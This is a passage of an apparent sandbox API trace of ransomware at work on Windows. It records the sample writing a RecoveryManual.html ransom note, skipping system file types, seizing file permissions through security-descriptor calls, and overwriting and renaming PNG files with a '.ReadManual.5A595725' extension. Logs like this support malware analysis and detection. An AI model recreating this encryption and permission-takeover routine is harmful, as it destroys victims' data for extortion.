lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" [0254.698] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RecoveryManual.html" [0254.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.699] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.700] CloseHandle (hObject=0x184) returned 1 [0254.701] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0254.701] lstrcpyW (in: lpString1=0x6ab90a, lpString2="GoldRing.png" | out: lpString1="GoldRing.png") returned="GoldRing.png" [0254.701] lstrcmpiW (lpString1="GoldRing.png", lpString2="RecoveryManual.html") returned -1 [0254.701] StrStrIW (lpFirst="GoldRing.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.701] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.701] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.701] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.701] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.701] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.701] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.701] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" [0254.701] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ReadManual.5A595725" [0254.701] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ReadManual.5A595725") returned 87 [0254.701] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37536998210) returned 1 [0254.701] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0254.702] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.702] GetLastError () returned 0x5 [0254.702] GetNamedSecurityInfoW () returned 0x0 [0254.702] SetNamedSecurityInfoW () returned 0x0 [0254.703] SetNamedSecurityInfoW () returned 0x0 [0254.704] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.704] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4621) returned 1 [0254.704] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x120d, lpName=0x0) returned 0x1a0 [0254.704] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0254.705] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.705] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.707] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.707] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x120d) returned 0x2f0000 [0254.707] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37537602055) returned 1 [0254.707] CloseHandle (hObject=0x1a0) returned 1 [0254.707] SetSecurityInfo () returned 0x5 [0254.707] SetSecurityInfo () returned 0x5 [0254.707] LocalFree (hMem=0x674d38) returned 0x0 [0254.707] CloseHandle (hObject=0x184) returned 1 [0254.708] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0254.708] lstrcpyW (in: lpString1=0x6ab90a, lpString2="highlight.png" | out: lpString1="highlight.png") returned="highlight.png" [0254.708] lstrcmpiW (lpString1="highlight.png", lpString2="RecoveryManual.html") returned -1 [0254.708] StrStrIW (lpFirst="highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.708] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.708] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.708] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.708] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.708] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.708] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.708] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" [0254.708] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ReadManual.5A595725" [0254.708] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ReadManual.5A595725") returned 88 [0254.708] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37537697882) returned 1 [0254.708] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0254.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.709] GetLastError () returned 0x5 [0254.709] GetNamedSecurityInfoW () returned 0x0 [0254.709] SetNamedSecurityInfoW () returned 0x0 [0254.709] SetNamedSecurityInfoW () returned 0x0 [0254.711] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.711] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=27964) returned 1 [0254.711] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d3c, lpName=0x0) returned 0x1a0 [0254.711] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc0) returned 1 [0254.711] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.711] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.713] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.713] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d3c) returned 0x2f0000 [0254.714] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.714] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37538257596) returned 1 [0254.714] CloseHandle (hObject=0x1a0) returned 1 [0254.714] SetSecurityInfo () returned 0x5 [0254.714] SetSecurityInfo () returned 0x5 [0254.714] LocalFree (hMem=0x674d38) returned 0x0 [0254.714] CloseHandle (hObject=0x184) returned 1 [0254.714] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0254.714] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NavigationButtonSubpicture.png" | out: lpString1="NavigationButtonSubpicture.png") returned="NavigationButtonSubpicture.png" [0254.714] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.714] StrStrIW (lpFirst="NavigationButtonSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.714] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.714] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.714] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.715] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.715] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.715] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.715] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.715] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.715] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.715] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" [0254.715] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ReadManual.5A595725" [0254.715] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ReadManual.5A595725") returned 105 [0254.715] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37538353896) returned 1 [0254.715] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0254.715] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.715] GetLastError () returned 0x5 [0254.715] GetNamedSecurityInfoW () returned 0x0 [0254.715] SetNamedSecurityInfoW () returned 0x0 [0254.718] SetNamedSecurityInfoW () returned 0x0 [0254.719] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.719] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2978) returned 1 [0254.719] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba2, lpName=0x0) returned 0x1a0 [0254.719] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0254.720] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.720] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.722] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.722] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba2) returned 0x2f0000 [0254.722] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37539081283) returned 1 [0254.722] CloseHandle (hObject=0x1a0) returned 1 [0254.722] SetSecurityInfo () returned 0x5 [0254.722] SetSecurityInfo () returned 0x5 [0254.722] LocalFree (hMem=0x674d38) returned 0x0 [0254.722] CloseHandle (hObject=0x184) returned 1 [0254.723] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0254.723] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png" [0254.723] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0254.723] StrStrIW (lpFirst="NextMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.723] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.723] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.723] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.723] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.723] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.723] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.723] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" [0254.723] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ReadManual.5A595725" [0254.723] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ReadManual.5A595725") returned 97 [0254.723] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37539192820) returned 1 [0254.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0254.723] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.723] GetLastError () returned 0x5 [0254.723] GetNamedSecurityInfoW () returned 0x0 [0254.724] SetNamedSecurityInfoW () returned 0x0 [0254.724] SetNamedSecurityInfoW () returned 0x0 [0254.726] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.726] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3808) returned 1 [0254.726] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee0, lpName=0x0) returned 0x1a0 [0254.726] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.727] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.727] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.728] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.728] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee0) returned 0x2f0000 [0254.729] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37539740546) returned 1 [0254.729] CloseHandle (hObject=0x1a0) returned 1 [0254.729] SetSecurityInfo () returned 0x5 [0254.729] SetSecurityInfo () returned 0x5 [0254.729] LocalFree (hMem=0x674d38) returned 0x0 [0254.729] CloseHandle (hObject=0x184) returned 1 [0254.729] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0254.729] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png" [0254.729] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0254.729] StrStrIW (lpFirst="ParentMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.729] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.729] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.729] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.729] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.729] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.729] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.729] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" [0254.730] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ReadManual.5A595725" [0254.730] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ReadManual.5A595725") returned 99 